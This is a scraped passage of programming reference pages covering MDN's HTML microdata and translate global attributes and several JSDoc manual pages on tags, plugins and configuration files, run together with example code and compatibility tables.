[`<embed>`](../element/embed), [`<iframe>`](../element/iframe), [`<img>`](../element/img), [`<link>`](../element/link), [`<object>`](../element/object), [`<source>`](../element/source), [`<track>`](../element/track), and [`<video>`](../element/video). Examples -------- The example below shows the source for a set of elements marked up with `itemprop` attributes, followed by a table showing the resulting structured data. ### HTML ``` <div itemscope itemtype="http://schema.org/Movie"> <h1 itemprop="name">Avatar</h1> <span>Director: <span itemprop="director">James Cameron</span> (born August 16, 1954)</span> <span itemprop="genre">Science fiction</span> <a href="../movies/avatar-theatrical-trailer.html" itemprop="trailer"> Trailer </a> </div> ``` ### Structured data | | | | --- | --- | | | **Item** | | **itemprop name** | **itemprop value** | | itemprop | name | Avatar | | itemprop | director | James Cameron | | itemprop | genre | Science fiction | | itemprop | trailer | ../movies/avatar-theatrical-trailer.html | Properties ---------- Properties have values that are either a string or a URL. When a string value is a URL, it is expressed using the [`<a>`](../element/a) element and its [`href`](../element/a#attr-href) attribute, the [`<img>`](../element/img) element and its [`src`](../element/img#attr-src) attribute, or other elements that link to or embed external resources. ### Three properties with values that are strings ``` <div itemscope> <p>My name is <span itemprop="name">Neil</span>.</p> <p>My band is called <span itemprop="band">Four Parts Water</span>.</p> <p>I am <span itemprop="nationality">British</span>.</p> </div> ``` ### One property, "image", whose value is a URL ``` <div itemscope> <img itemprop="image" src="google-logo.png" alt="Google" /> </div> ``` When a string value can't be easily read and understood by a person (e.g., a long string of numbers and letters), it can be displayed using the value attribute of the data element, with the more easily-understood-by-a human-version given in the element's contents (which is not part of the structured data - see example below). ### An item with a property whose value is a product ID The ID is not human-friendly, so the product's name is used the human-visible text instead of the ID. ``` <h1 itemscope> <data itemprop="product-id" value="9678AOU879">The Instigator 2000</data> </h1> ``` For numeric data, the meter element and its value attribute can be used. ### A meter element ``` <div itemscope itemtype="http://schema.org/Product"> <span itemprop="name">Panasonic White 60L Refrigerator</span> <img src="panasonic-fridge-60l-white.jpg" alt="" /> <div itemprop="aggregateRating" itemscope itemtype="http://schema.org/AggregateRating"> <meter itemprop="ratingValue" min="0" value="3.5" max="5"> Rated 3.5/5 </meter> (based on <span itemprop="reviewCount">11</span> customer reviews) </div> </div> ``` Similarly, for date- and time-related data, the time element and its datetime attribute can be used. ### An item with one property, "birthday", whose value is a date ``` <div itemscope> I was born on <time itemprop="birthday" datetime="1984-05-10">May 10th 1984</time>. </div> ``` Properties can also be groups of name-value pairs, by putting the itemscope attribute on the element that declares the property. Each value is either a string or a group of name-value pairs (i.e. an item). ### An outer item representing a person, and an inner one representing a band ``` <div itemscope> <p>Name: <span itemprop="name">Amanda</span></p> <p> Band: <span itemprop="band" itemscope> <span itemprop="name">Jazz Band</span> (<span itemprop="size">12</span> players)</span > </p> </div> ``` The outer item above has two properties, "name" and "band". The "name" is "Amanda", and the "band" is an item in its own right, with two properties, "name" and "size". The "name" of the band is "Jazz Band", and the "size" is "12". The outer item in this example is a top-level microdata item. Items that are not part of others are called top-level microdata items. ### All the properties separated from their items This example is the same as the previous one, but all the properties are separated from their items ``` <div itemscope id="amanda" itemref="a b"></div> <p id="a">Name: <span itemprop="name">Amanda</span></p> <div id="b" itemprop="band" itemscope itemref="c"></div> <div id="c"> <p>Band: <span itemprop="name">Jazz Band</span></p> <p>Size: <span itemprop="size">12</span> players</p> </div> ``` This gives the same result as the previous example. The first item has two properties, "name", set to "Amanda", and "band", set to another item. That second item has two further properties, "name", set to "Jazz Band", and "size", set to "12". An item can have multiple properties with the same name and different values. ### Ice cream with two flavors ``` <div itemscope> <p>Flavors in my favorite ice cream:</p> <ul> <li itemprop="flavor">Lemon sorbet</li> <li itemprop="flavor">Apricot sorbet</li> </ul> </div> ``` This results in an item with two properties, both with the name "flavor" and having the values "Lemon sorbet" and "Apricot sorbet". An element introducing a property can also introduce multiple properties at once, to avoid duplication when some of the properties have the same value. ### An item with two properties, "favorite-color" and "favorite-fruit", both set to the value "orange" ``` <div itemscope> <span itemprop="favorite-color favorite-fruit">orange</span> </div> ``` **Note:** There is no relationship between the microdata and the content of the document where the microdata is marked up. ### Same structured data marked up in two different ways There is no semantic difference between the following two examples ``` <figure> <img src="castle.jpeg" /> <figcaption> <span itemscope><span itemprop="name">The Castle</span></span> (1986) </figcaption> </figure> ``` ``` <span itemscope><meta itemprop="name" content="The Castle" /></span> <figure> <img src="castle.jpeg" /> <figcaption>The Castle (1986)</figcaption> </figure> ``` Both have a figure with a caption, and both, completely unrelated to the figure, have an item with a name-value pair with the name "name" and the value "The Castle". The only difference is that if the user drags the figcaption out of the document, the item will be included in the drag-and-drop data. The image associated with the item won't be included. Names and values ---------------- A property is an unordered set of unique tokens that are case-sensitive and represent the name-value pairs. The property value must have at least one token. In the example below, each data cell is a token. ### Names examples | | Item | | --- | --- | | itemprop **name** | itemprop **value** | | itemprop | country | Ireland | | itemprop | Option | 2 | | itemprop | https://www.flickr.com/photos/nlireland/6992065114/ | Ring of Kerry | | itemprop | img | https://www.flickr.com/photos/nlireland/6992065114/ | | itemprop | website | flickr | | itemprop | (token) | (token) | **Tokens** are either strings or URL's. An item is called a **typed item** if it is a URL. Otherwise, it is a string. Strings cannot contain a period or a colon (see below). 1. If the item is a typed item it must be either: 1. A defined property name, or 2. A valid URL, which refers to the vocabulary definition, or 3. A valid URL that is used as a proprietary item property name (i.e. one not defined in a public specification), or 2. If the item is not a typed item it must be: 1. A string that contains no "`.`" (U+002E FULL STOP) characters and no "`:`" characters (U+003A COLON) and is used as a proprietary item property name (again, one not defined in a public specification). **Note:** The rules above disallow ":" characters in non-URL values because otherwise they could not be distinguished from URLs. Values with "." characters are reserved for future extensions. Space characters are disallowed because otherwise the values would be parsed as multiple tokens. Values ------ The property value of a name-value pair is as given for the first matching case in the following list: * If the element has an `itemscope` attribute + The value is the **item** created by the element. * If the element is a `meta` element + The value is the value of the element's `content` attribute * If the element is an `audio`, `embed`, `iframe`, `img`, `source`, `track`, or `video` element + The value is the resulting URL string that results from parsing the value of the element's src attribute relative to the node document (part of the [Microdata DOM API](../microdata)) of the element at the time the attribute is set * If the element is an `a`, `area`, or `link` element + The value is the resulting URL string that results from parsing the value of the element's href attribute relative to the node document of the element at the time the attribute is set * If the element is an `object` element + The value is the resulting URL string that results from parsing the value of the element's data attribute relative to the node document of the element at the time the attribute is set * If the element is a `data` element + The value is the value of the element's value attribute * If the element is a `meter` element + The value is the value of the element's `value` attribute * If the element is a `time` element + The value is the element's `datetime` value Otherwise * The value is the element's *textContent*. If a property's value is a `URL`, the property must be specified using a URL property element. The URL property elements are the `a`, `area`, `audio`, `embed`, `iframe`, `img`, `link`, `object`, `source`, `track`, and `video` elements. ### Name order Names are unordered relative to each other, but if a particular name has multiple values, they do have a relative order. In the following example, the "a" property has the values "1" and "2", *in that order*, but whether the "a" property comes before the "b" property or not is not important ``` <div itemscope> <p itemprop="a">1</p> <p itemprop="a">2</p> <p itemprop="b">test</p> </div> ``` The following is equivalent ``` <div itemscope> <p itemprop="b">test</p> <p itemprop="a">1</p> <p itemprop="a">2</p> </div> ``` As is the following ``` <div itemscope> <p itemprop="a">1</p> <p itemprop="b">test</p> <p itemprop="a">2</p> </div> ``` And the following ``` <div id="x"> <p itemprop="a">1</p> </div> <div itemscope itemref="x"> <p itemprop="b">test</p> <p itemprop="a">2</p> </div> ``` ### Representing structured data for a book This example uses microdata attributes to represent the following structured data: | | | | | --- | --- | --- | | itemscope | itemtype: itemid | https://schema.org/Book: urn:isbn:0-374-22848-5 | | itemprop | title | Owls of the Eastern Ice | | itemprop | author | Jonathan C Slaght | | itemprop | datePublished | 2020-08-04 | #### HTML ``` <dl itemscope itemtype="https://schema.org/Book" itemid="urn:isbn:0-374-22848-5<"> <dt>Title</dt> <dd itemprop="title">Owls of the Eastern Ice</dd> <dt>Author</dt> <dd itemprop="author">Jonathan C Slaght</dd> <dt>Publication date</dt> <dd> <time itemprop="datePublished" datetime="2020-08-04">August 4 2020</time> </dd> </dl> ``` #### Result Specifications -------------- | Specification | | --- | | [HTML Standard # names:-the-itemprop-attribute](https://html.spec.whatwg.org/multipage/microdata.html#names:-the-itemprop-attribute) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `itemprop` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | See also -------- * [Other different global attributes](../global_attributes) * Other microdata related global attributes: + [`itemid`](itemid) + [`itemref`](itemref) + [`itemscope`](itemscope) + [`itemtype`](itemtype)
programming_docs
html translate translate ========= The `translate` [global attribute](../global_attributes) is an [enumerated](https://developer.mozilla.org/en-US/docs/Glossary/Enumerated) attribute that is used to specify whether an element's *translatable attribute* values and its [`Text`](https://developer.mozilla.org/en-US/docs/Web/API/Text) node children should be translated when the page is localized, or whether to leave them unchanged. It can have the following values: * empty string or `yes`, which indicates that the element should be translated when the page is localized. * `no`, which indicates that the element must not be translated. Although not all browsers recognize this attribute, it is respected by automatic translation systems such as Google Translate, and may also be respected by tools used by human translators. As such it's important that web authors use this attribute to mark content that should not be translated. Examples -------- In this example, the `translate` attribute is used to ask translation tools not to translate the company's brand name in the footer. ``` <footer> <small>© 2020 <span translate="no">BrandName</span></small> </footer> ``` Specifications -------------- | Specification | | --- | | [HTML Standard # attr-translate](https://html.spec.whatwg.org/multipage/dom.html#attr-translate) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `translate` | 19 | 79 | No | No | 15 | 6 | 4.4 | 25 | No | 14 | 6 | 1.5 | See also -------- * All [global attributes](../global_attributes). * The `HTMLElement.translate` property that reflects this attribute. * [Using HTML's translate attribute](https://www.w3.org/International/questions/qa-translate-flag). * HTML [`lang`](../global_attributes#lang) attribute html itemref itemref ======= Properties that are not descendants of an element with the [`itemscope`](itemscope) attribute can be associated with an item using the [global attribute](../global_attributes) `itemref`. `itemref` provides a list of element IDs (not `itemid`s) elsewhere in the document, with additional properties The `itemref` attribute can only be specified on elements that have an `itemscope` attribute specified. **Note:** The `itemref` attribute is not part of the microdata data model. It is merely a syntactic construct to aid authors in adding annotations to pages where the data to be annotated does not follow a convenient tree structure. For example, it allows authors to mark up data in a table so that each column defines a separate item while keeping the properties in the cells. Examples -------- ### Representing structured data for a band This example uses microdata attributes to represent the following structured data (in [JSON-LD](https://json-ld.org/) format): ``` { "@id": "amanda", "name": "Amanda", "band": { "@id": "b", "name": "Jazz Band", "size": 12 } } ``` #### HTML ``` <div itemscope id="amanda" itemref="a b"></div> <p id="a">Name: <span itemprop="name">Amanda</span></p> <div id="b" itemprop="band" itemscope itemref="c"></div> <div id="c"> <p>Band: <span itemprop="name">Jazz Band</span></p> <p>Size: <span itemprop="size">12</span> players</p> </div> ``` #### Result Specifications -------------- | Specification | | --- | | [HTML Standard # attr-itemref](https://html.spec.whatwg.org/multipage/microdata.html#attr-itemref) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `itemref` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | See also -------- * [Other different global attributes](../global_attributes) * Other microdata related global attributes: + [`itemid`](itemid) + [`itemprop`](itemprop) + [`itemscope`](itemscope) + [`itemtype`](itemtype) jsdoc Using the Markdown plugin Using the Markdown plugin ========================= Table of Contents ----------------- * [Overview](#overview) * [Enabling the Markdown plugin](#enabling-the-markdown-plugin) * [Converting Markdown in additional JSDoc tags](#converting-markdown-in-additional-jsdoc-tags) * [Excluding the default tags from Markdown processing](#excluding-the-default-tags-from-markdown-processing) * [Hard-wrapping text at line breaks](#hard-wrapping-text-at-line-breaks) * [Adding ID attributes to headings](#adding-id-attributes-to-headings) Overview -------- JSDoc includes a Markdown plugin that automatically converts Markdown-formatted text to HTML. You can use this plugin with any JSDoc template. In JSDoc 3.2.2 and later, the Markdown plugin uses the [marked Markdown parser](https://github.com/chjj/marked). **Note**: When you enable the Markdown plugin, be sure to include a leading asterisk on each line of your JSDoc comments. If you omit the leading asterisks, JSDoc's parser may remove asterisks that are used for Markdown formatting. By default, JSDoc looks for Markdown-formatted text in the following JSDoc tags: * [`@author`](tags-author) * [`@classdesc`](tags-classdesc) * [`@description`](tags-description) (including untagged descriptions at the start of a JSDoc comment) * [`@param`](tags-param) * [`@property`](tags-property) * [`@returns`](tags-returns) * [`@see`](tags-see) * [`@throws`](tags-throws) Enabling the Markdown plugin ---------------------------- To enable the Markdown plugin, add the string `plugins/markdown` to the `plugins` array in your [JSDoc configuration file](about-configuring-jsdoc): JSON configuration file that enables the Markdown plugin ``` { "plugins": ["plugins/markdown"] } ``` Converting Markdown in additional JSDoc tags -------------------------------------------- By default, the Markdown plugin only processes [specific JSDoc tags](#default-tags) for Markdown text. You can handle Markdown text in other tags by adding a `markdown.tags` property to your JSDoc configuration file. The `markdown.tags` property contains an array of the additional doclet properties that can contain Markdown text. (In most cases, the name of the doclet property is the same as the tag name. However, some tags are stored differently; for example, the `@param` tag is stored in a doclet's `params` property. If you're not sure how a tag's text is stored in a doclet, run JSDoc with the `-X/--explain` tag, which prints each doclet to the console.) For example, if the `foo` and `bar` tags accept values that are stored in a doclet's `foo` and `bar` properties, you could enable Markdown processing of these tags by adding the following settings to your JSDoc configuration file: Converting Markdown in 'foo' and 'bar' tags ``` { "plugins": ["plugins/markdown"], "markdown": { "tags": ["foo", "bar"] } } ``` Excluding the default tags from Markdown processing --------------------------------------------------- To prevent the Markdown plugin from processing any of the [default JSDoc tags](#default-tags), add a `markdown.excludeTags` property to your JSDoc configuration file. The `markdown.excludeTags` property contains an array of the default tags that should not be processed for Markdown text. For example, to exclude the `author` tag from Markdown processing: Excluding the 'author' tag from Markdown processing ``` { "plugins": ["plugins/markdown"], "markdown": { "excludeTags": ["author"] } } ``` Hard-wrapping text at line breaks --------------------------------- By default, the Markdown plugin does not hard-wrap text at line breaks. This is because it's normal for a JSDoc comment to be wrapped across multiple lines. If you prefer to hard-wrap text at line breaks, set your JSDoc configuration file's `markdown.hardwrap` property to `true`. This property is available in JSDoc 3.4.0 and later. Adding ID attributes to headings -------------------------------- By default, the Markdown plugin does not add an `id` attribute to each HTML heading. To automatically add `id` attributes based on the heading's text, set your JSDoc configuration file's `markdown.idInHeadings` property to `true`. This property is available in JSDoc 3.4.0 and later. jsdoc @type @type ===== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@type {typeName}` Overview -------- The @type tag allows you to provide a type expression identifying the type of value that a symbol may contain, or the type of value returned by a function. You can also include type expressions with many other JSDoc tags, such as the [@param tag](tags-param). A type expression can include the JSDoc namepath to a symbol (for example, `myNamespace.MyClass`); a built-in JavaScript type (for example, `string`); or a combination of these. You can use any [Google Closure Compiler type expression](https://github.com/google/closure-compiler/wiki/Annotating-JavaScript-for-the-Closure-Compiler#type-expressions), as well as several other formats that are specific to JSDoc. If JSDoc determines that a type expression is invalid, it will display an error and stop running. You can turn this error into a warning by running JSDoc with the `--lenient` option. **Note**: Full support for Google Closure Compiler-style type expressions is available in JSDoc 3.2 and later. Earlier versions of JSDoc included partial support for Closure Compiler type expressions. Each type is specified by providing a type expression, using one of the formats described below. Where appropriate, JSDoc will automatically create links to the documentation for other symbols. For example, `@type {MyClass}` will link to the MyClass documentation if that symbol has been documented. | Type name | Syntax examples | Description | | --- | --- | --- | | Symbol name (name expression) | ``` {boolean} {myNamespace.MyClass} ``` | Specifies the name of a symbol. If you have documented the symbol, JSDoc creates a link to the documentation for that symbol. | | Multiple types (type union) | This can be a number or a boolean. ``` {(number|boolean)} ``` | This means a value can have one of several types, with the entire list of types enclosed in parentheses and separated by `|`. | | Arrays and objects (type applications and record types) | An array of MyClass instances. ``` {Array.<MyClass>} // or: {MyClass[]} ``` An object with string keys and number values: ``` {Object.<string, number>} ``` An object called 'myObj' with properties 'a' (a number), 'b' (a string) and 'c' (any type). ``` {{a: number, b: string, c}} myObj // or: {Object} myObj {number} myObj.a {string} myObj.b {*} myObj.c ``` | JSDoc supports Closure Compiler's syntax for defining array and object types. You can also indicate an array by appending `[]` to the type that is contained in the array. For example, the expression `string[]` indicates an array of strings. For objects that have a known set of properties, you can use Closure Compiler's syntax for documenting record types. You can document each property individually, which enables you to provide more detailed information about each property. | | Nullable type | A number or null. ``` {?number} ``` | This indicates that the type is either the specified type, or `null`. | | Non-nullable type | A number, but never null. ``` {!number} ``` | Indicates that the value is of the specified type, but cannot be `null`. | | Variable number of that type | This function accepts a variable number of numeric parameters. ``` @param {...number} num ``` | Indicates that the function accepts a variable number of parameters, and specifies a type for the parameters. For example: ``` /** * Returns the sum of all numbers passed to the function. * @param {...number} num A positive or negative number */ function sum(num) { var i=0, n=arguments.length, t=0; for (; i<n; i++) { t += arguments[i]; } return t; } ``` | | Optional parameter | An optional parameter named foo. ``` @param {number} [foo] // or: @param {number=} foo ``` An optional parameter foo with default value 1. ``` @param {number} [foo=1] ``` | Indicates that the parameter is optional. When using JSDoc's syntax for optional parameters, you can also indicate the value that will be used if a parameter is omitted. | | Callbacks | ``` /** * @callback myCallback * @param {number} x - ... */ /** @type {myCallback} */ var cb; ``` | Document a callback using the [@callback](tags-callback) tag. The syntax is identical to the @typedef tag, except that a callback's type is always "function." | | Type definitions | Documenting a type with properties 'id', 'name', 'age'. ``` /** * @typedef PropertiesHash * @type {object} * @property {string} id - an ID. * @property {string} name - your name. * @property {number} age - your age. */ /** @type {PropertiesHash} */ var props; ``` | You can document complex types using the [@typedef](tags-typedef) tag, then refer to the type definition elsewhere in your documentation. | Examples -------- Example ``` /** @type {(string|Array.)} */ var foo; /** @type {number} */ var bar = 1; ``` In many cases, you can include a type expression as part of another tag, rather than including a separate @type tag in your JSDoc comment. Type expressions can accompany many tags. ``` /** * @type {number} * @const */ var FOO = 1; // same as: /** @const {number} */ var FOO = 1; ``` Related Links ------------- * [@callback](tags-callback) * [@typedef](tags-typedef) * [@param](tags-param) * [@property](tags-property) jsdoc Including a Package File Including a Package File ======================== Package files contain information that can be useful for your project's documentation, such as the project's name and version number. JSDoc can automatically use information from your project's `package.json` file when it generates documentation. For example, the default template shows the project's name and version number in the documentation. There are two ways to incorporate a `package.json` file into your documentation: 1. In the source paths to your JavaScript files, include the path to a `package.json` file. JSDoc will use the first `package.json` file that it finds in your source paths. 2. Run JSDoc with the `-P/--package` command-line option, specifying the path to your `package.json` file. This option is available in JSDoc 3.3.0 and later. The `-P/--package` command-line option takes precedence over your source paths. If you use the `-P/--package` command-line option, JSDoc will ignore any `package.json` files in your source paths. The `package.json` file must use [npm's package format](https://docs.npmjs.com/files/package.json). Examples -------- Including a package file in your source paths ``` jsdoc path/to/js path/to/package/package.json ``` Using the -P/--package option ``` jsdoc --package path/to/package/package-docs.json path/to/js ``` jsdoc @this @this ===== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@this <namePath>` Overview -------- The @this tag indicates what the `this` keyword refers to when used within another symbol. Examples -------- In the following example, the @this tag causes "this.name" to be documented as "Greeter#name" rather than a global symbol called "name". ``` /** @constructor */ function Greeter(name) { setName.apply(this, name); } /** @this Greeter */ function setName(name) { /** document me */ this.name = name; } ``` Related Links ------------- [@memberof](tags-memberof) jsdoc Configuring JSDoc with a configuration file Configuring JSDoc with a configuration file =========================================== Table of Contents ----------------- * [Configuration file formats](#configuration-file-formats) * [Default configuration options](#default-configuration-options) * [Configuring plugins](#configuring-plugins) * [Specifying recursion depth](#specifying-recursion-depth) * [Specifying input files](#specifying-input-files) * [Specifying the source type](#specifying-the-source-type) * [Incorporating command-line options into the configuration file](#incorporating-command-line-options-into-the-configuration-file) * [Configuring tags and tag dictionaries](#configuring-tags-and-tag-dictionaries) * [Configuring templates](#configuring-templates) * [Related Links](#related-links) Configuration file formats -------------------------- To customize JSDoc's behavior, you can provide a configuration file to JSDoc in one of the following formats: * A JSON file. In JSDoc 3.3.0 and later, this file may include comments. * A CommonJS module that exports a single configuration object. This format is supported in JSDoc 3.5.0 and later. To run JSDoc with a configuration file, use the [`-c` command-line option](about-commandline) (for example, `jsdoc -c /path/to/conf.json` or `jsdoc -c /path/to/conf.js`). The following examples show a simple configuration file that enables JSDoc's [Markdown plugin](plugins-markdown). JSDoc's configuration options are explained in detail in the following sections. JSON configuration file ``` { "plugins": ["plugins/markdown"] } ``` JavaScript configuration file ``` 'use strict'; module.exports = { plugins: ['plugins/markdown'] }; ``` For a more comprehensive example of a JSON configuration file, see the file [`conf.json.EXAMPLE`](https://github.com/jsdoc3/jsdoc/blob/master/conf.json.EXAMPLE). Default configuration options ----------------------------- If you do not specify a configuration file, JSDoc uses the following configuration options: ``` { "plugins": [], "recurseDepth": 10, "source": { "includePattern": ".+\\.js(doc|x)?$", "excludePattern": "(^|\\/|\\\\)_" }, "sourceType": "module", "tags": { "allowUnknownTags": true, "dictionaries": ["jsdoc","closure"] }, "templates": { "cleverLinks": false, "monospaceLinks": false } } ``` This means: * No plugins are loaded (`plugins`). * If recursion is enabled with the [`-r` command-line flag](about-commandline), JSDoc will search for files 10 levels deep (`recurseDepth`). * Only files ending in `.js`, `.jsdoc`, and `.jsx` will be processed (`source.includePattern`). * Any file starting with an underscore, or in a directory starting with an underscore, will be ignored (`source.excludePattern`). * JSDoc supports code that uses [ES2015 modules](howto-es2015-modules) (`sourceType`). * JSDoc allows you to use unrecognized tags (`tags.allowUnknownTags`). * Both standard JSDoc tags and [Closure Compiler tags](https://github.com/google/closure-compiler/wiki/Annotating-JavaScript-for-the-Closure-Compiler#jsdoc-tags) are enabled (`tags.dictionaries`). * [Inline `{@link}` tags](tags-inline-link) are rendered in plain text (`templates.cleverLinks`, `templates.monospaceLinks`). These options and others are explained in the following sections. Configuring plugins ------------------- To enable plugins, add their paths (relative to the JSDoc folder) into the `plugins` array. For example, the following JSON configuration file will enable the Markdown plugin, which converts Markdown-formatted text to HTML, and the "summarize" plugin, which autogenerates a summary for each doclet: JSON configuration file with plugins ``` { "plugins": [ "plugins/markdown", "plugins/summarize" ] } ``` See the [plugin reference](about-plugins) for further information, and look in [JSDoc's `plugins` directory](https://github.com/jsdoc3/jsdoc/tree/master/plugins) for the plugins built into JSDoc. You can configure the Markdown plugin by adding a `markdown` object to your configuration file. See [Configuring the Markdown Plugin](plugins-markdown) for details. Specifying recursion depth -------------------------- The `recurseDepth` option controls how many levels deep JSDoc will recursively search for source files and tutorials. This option is available in JSDoc 3.5.0 and later. This option is used only if you also specify the [`-r` command-line flag](about-commandline), which tells JSDoc to recursively search for input files. ``` { "recurseDepth": 10 } ``` Specifying input files ---------------------- The `source` set of options, in combination with paths given to JSDoc on the command line, determines the set of input files that JSDoc uses to generate documentation. ``` { "source": { "include": [ /* array of paths to files to generate documentation for */ ], "exclude": [ /* array of paths to exclude */ ], "includePattern": ".+\\.js(doc|x)?$", "excludePattern": "(^|\\/|\\\\)_" } } ``` * `source.include`: An optional array of paths that contain files for which JSDoc should generate documentation. The paths given to JSDoc on the command line are combined with these paths. You can use the [`-r` command-line option](about-commandline) to recurse into subdirectories. * `source.exclude`: An optional array of paths that JSDoc should ignore. In JSDoc 3.3.0 and later, this array may include subdirectories of the paths in `source.include`. * `source.includePattern`: An optional string, interpreted as a regular expression. If present, all filenames must match this regular expression to be processed by JSDoc. By default, this option is set to ".+\.js(doc|x)?$", meaning that only files with the extensions `.js`, `.jsdoc`, and `.jsx` will be processed. * `source.excludePattern`: An optional string, interpreted as a regular expression. If present, any file matching this regular expression will be ignored. By default, this option is set so that files beginning with an underscore (or anything under a directory beginning with an underscore) is ignored. These options are interpreted in the following order: 1. Start with all paths given on the command line and in `source.include`. 2. For each file found in Step 1, if the regular expression `source.includePattern` is present, the filename must match it, or it is ignored. 3. For each file left from Step 2, if the regular expression `source.excludePattern` is present, any filename matching this regular expression is ignored. 4. For each file left from Step 3, if the file's path is in `source.exclude`, it is ignored. All remaining files after these four steps are processed by JSDoc. As an example, suppose you have the following file structure: ``` myProject/ |- a.js |- b.js |- c.js |- _private | |- a.js |- lib/ |- a.js |- ignore.js |- d.txt ``` In addition, suppose your `conf.json` file looks like this example: ``` { "source": { "include": ["myProject/a.js", "myProject/lib", "myProject/_private"], "exclude": ["myProject/lib/ignore.js"], "includePattern": ".+\\.js(doc|x)?$", "excludePattern": "(^|\\/|\\\\)_" } } ``` If you run `jsdoc myProject/c.js -c /path/to/my/conf.json -r` from the file containing the `myProject` folder, JSDoc will generate documentation for the following files: * `myProject/a.js` * `myProject/c.js` * `myProject/lib/a.js` Here's why: 1. Given `source.include` and the paths given on the command line, JSDoc starts off with these files: * `myProject/c.js` (from the command line) * `myProject/a.js` (from `source.include`) * `myProject/lib/a.js`, `myProject/lib/ignore.js`, `myProject/lib/d.txt` (from `source.include` and using the `-r` option) * `myProject/_private/a.js` (from `source.include`) 2. JSDoc applies `source.includePattern`, leaving us with all of the above files *except* `myProject/lib/d.txt`, which does not end in `.js`, `.jsdoc`, or `.jsx`. 3. JSDoc applies `source.excludePattern`, which removes `myProject/_private/a.js`. 4. JSDoc applies `source.exclude`, which removes `myProject/lib/ignore.js`. Specifying the source type -------------------------- The `sourceType` option affects how JSDoc parses your JavaScript files. This option is available in JSDoc 3.5.0 and later. This option accepts the following values: * `module` (default): Use this value for most types of JavaScript files. * `script`: Use this value if JSDoc logs errors such as `Delete of an unqualified identifier in strict mode` when it parses your code. ``` { "sourceType": "module" } ``` Incorporating command-line options into the configuration file -------------------------------------------------------------- You can put many of JSDoc's [command-line options](about-commandline) into the configuration file instead of specifying them on the command line. To do this, add the long names of the relevant options into an `opts` section of the configuration file, with the value set to the option's value. JSON configuration file with command-line options ``` { "opts": { "template": "templates/default", // same as -t templates/default "encoding": "utf8", // same as -e utf8 "destination": "./out/", // same as -d ./out/ "recurse": true, // same as -r "tutorials": "path/to/tutorials", // same as -u path/to/tutorials } } ``` By using the `source.include` and `opts` options, you can put almost all of the arguments to JSDoc in a configuration file, so that the command line reduces to: ``` jsdoc -c /path/to/conf.json ``` When options are specified on the command line *and* in the configuration file, the command line takes precedence. Configuring tags and tag dictionaries ------------------------------------- The options in `tags` control which JSDoc tags are allowed and how each tag is interpreted. ``` { "tags": { "allowUnknownTags": true, "dictionaries": ["jsdoc","closure"] } } ``` The `tags.allowUnknownTags` property affects how JSDoc handles unrecognized tags. If you set this option to `false`, and JSDoc finds a tag that it does not recognize (for example, `@foo`), JSDoc logs a warning. By default, this option is set to `true`. In JSDoc 3.4.1 and later, you can also set this property to an array of tag names that JSDoc should allow (for example, `["foo","bar"]`). The `tags.dictionaries` property controls which tags JSDoc recognizes, as well as how JSDoc interprets the tags that it recognizes. In JSDoc 3.3.0 and later, there are two built-in tag dictionaries: * `jsdoc`: Core JSDoc tags. * `closure`: [Closure Compiler tags](https://github.com/google/closure-compiler/wiki/Annotating-JavaScript-for-the-Closure-Compiler#jsdoc-tags). By default, both dictionaries are enabled. Also, by default, the `jsdoc` dictionary is listed first; as a result, if the `jsdoc` dictionary handles a tag differently than the `closure` dictionary, the `jsdoc` version of the tag takes precedence. If you are using JSDoc with a Closure Compiler project, and you want to avoid using tags that Closure Compiler does not recognize, change the `tags.dictionaries` setting to `["closure"]`. You can also change this setting to `["closure","jsdoc"]` if you want to allow core JSDoc tags, but you want to ensure that Closure Compiler-specific tags are interpreted as Closure Compiler would interpret them. Configuring templates --------------------- The options in `templates` affect the appearance and content of generated documentation. Third-party templates may not implement all of these options. See [Configuring JSDoc's Default Template](about-configuring-default-template) for additional options that the default template supports. ``` { "templates": { "cleverLinks": false, "monospaceLinks": false } } ``` If `templates.monospaceLinks` is true, all link text from the [inline `{@link}` tag](tags-inline-link) will be rendered in monospace. If `templates.cleverLinks` is true, `{@link asdf}` will be rendered in normal font if `asdf` is a URL, and monospace otherwise. For example, `{@link http://github.com}` will render in plain text, but `{@link MyNamespace.myFunction}` will be in monospace. If `templates.cleverLinks` is true, `templates.monospaceLinks` is ignored. Related Links ------------- * [Command-line arguments to JSDoc](about-commandline) * [About JSDoc plugins](about-plugins) * [Using the Markdown plugin](plugins-markdown)
programming_docs
jsdoc @instance @instance ========= Table of Contents ----------------- * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Overview -------- Using the @instance tag will mark a symbol as an instance member of its parent symbol. This means it can be referred to by "Parent#Child". Using @instance will override a doclet's default scope (unless it is in the global scope, in which case it will remain global). Examples -------- The following example is a longhand way of writing "@function MyNamespace#myFunction": Using @instance to make a virtual doclet an instance member ``` /** @namespace MyNamespace */ /** * myFunction is now MyNamespace#myFunction. * @function myFunction * @memberof MyNamespace * @instance */ ``` More usefully, you can use the @instance tag to override the scope that JSDoc infers. For example, you can indicate that a static member is used as an instance member: Using @instance to identify an instance member ``` /** @namespace */ var BaseObject = { /** * foo is now BaseObject#foo rather than BaseObject.foo. * @instance */ foo: null }; /** Generates BaseObject instances. */ function fooFactory(fooValue) { var props = { foo: fooValue }; return Object.create(BaseObject, props); } ``` Related Links ------------- * [@global](tags-global) * [@inner](tags-inner) * [@static](tags-static) jsdoc Configuring JSDoc's default template Configuring JSDoc's default template ==================================== Table of Contents ----------------- * [Generating pretty-printed source files](#generating-pretty-printed-source-files) * [Copying static files to the output directory](#copying-static-files-to-the-output-directory) * [Showing the current date in the page footer](#showing-the-current-date-in-the-page-footer) * [Showing longnames in the 